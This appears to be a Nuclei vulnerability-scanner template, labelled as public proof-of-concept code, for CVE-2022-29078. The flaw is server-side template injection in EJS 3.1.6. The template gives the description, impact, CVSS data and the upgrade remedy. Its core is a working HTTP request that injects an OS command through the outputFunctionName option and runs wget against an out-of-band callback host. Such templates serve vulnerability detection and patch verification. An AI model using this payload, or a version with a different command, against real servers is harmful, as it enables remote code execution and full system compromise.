Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
PoC代码[已公开]
id: CVE-2022-29078
info:
name: Node.js Embedded JavaScript 3.1.6 - Template Injection
author: For3stCo1d
severity: critical
description: |
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
impact: |
Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
remediation: |
Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
reference:
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
- https://github.com/miko550/CVE-2022-29078
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
- https://github.com/mde/ejs/releases
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29078
cwe-id: CWE-94
epss-score: 0.93462
epss-percentile: 0.99811
cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ejs
product: ejs
framework: node.js
tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js,vkev,vuln
http:
- raw:
- |
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- http
- type: word
part: body
words:
- You are viewing page number
# digest: 4b0a00483046022100d3891a6401434b4e5f3875df13d9ed85d1bdfddfbc0ab099d04512c9d6fc768a022100de78bef6869c067393ba52d8c7765dccb145f5ab11825c5fc9d1e6b1adb06ff5:922c64590222798bb761d5b6d8e72950